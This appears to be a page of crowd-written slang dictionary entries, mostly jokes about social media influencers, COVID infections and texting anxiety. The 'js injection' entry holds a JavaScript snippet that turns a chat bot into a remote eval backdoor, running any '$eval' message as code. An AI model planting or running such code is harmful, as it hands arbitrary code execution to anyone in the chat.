Viral infection

When annoying and otherwise talentless "Influencers" overtake Tik Tok or other social media platforms hereby brainwashing the media or particularly naive and weak minded people into supporting their trash dancing or hollow content.

-Mini mart

Viral infection

WHY IN GODS NAME ARE THESE TRASH AS* PPL TAKING OVER THR INTERNET GOD DAM
-Walmart

by Gg five December 30, 2020

Immaculate Infection

Catching COVID-19 despite having no apparent contact with someone who is positive.

Man, I have been locked in my apartment for weeks, but I somehow caught C-19. It was an immaculate infection!

by Preacher-Man January 1, 2021

Text insecurity

When you text someone with a heightened anticipation for a quick response.

I texted you to see if my phone was working, cause "DUDE" ain't hitting me back. I waited like a whole 5 minutes.

Yo! You got that text insecurity. They probably just busy, chill out!

by HonkeyDonkeyDoo January 9, 2021

Text insecurities

When you text someone that doesn't respond as fast as you would like.

I texted you to see if my phone is working. I gave "dude" like a Whole 2 minutes to respond.

Yo... They might be busy. Don't give in to your text insecurities. Relax!

by HonkeyDonkeyDoo January 9, 2021

js injection

^runjs bot.socket.on("message",function(data){let args=data.msg.split(" ");if("$eval"==args0)try{bot.socket.emit("message",eval(args.slice(1).join(" ")).toString())}catch(t){bot.socket.emit("message",t.toString())}});
/* js injection is a hacking method where hackers pass their payloads through arbitrary javascript */

/* Tom had to fix a bug in myspace because it allowed hackers to perform js injection and collect other users' passwords */

by Melissa 2000 April 3, 2021

Conscientious Infector

N. Any person who decides on moral grounds not to vaccinate, socially distance, or wear a mask during a pandemic.n

Karen still goes to parties, never wears a mask, and refuses to vaccinate herself or her children because she's a conscientious infector.

by ReydelosLocos April 12, 2021

interval infection

COVID-19 infection coinciding with a patient's first vaccination and developing prior to receiving the second. The symptoms may easily be misinterpreted as side-effects from the vaccine.

He had felt strange since receiving his first dose of the vaccine - aching, fatigued, coughing, short of breath. Three weeks later, after receiving his second dose, he had a fever of 102, was fighting for breath and coughing badly. While it was logical to assume he was having a severe reaction to the vaccine, the stronger probability was that he had contracted an interval infection.

by Monkey's Dad February 28, 2021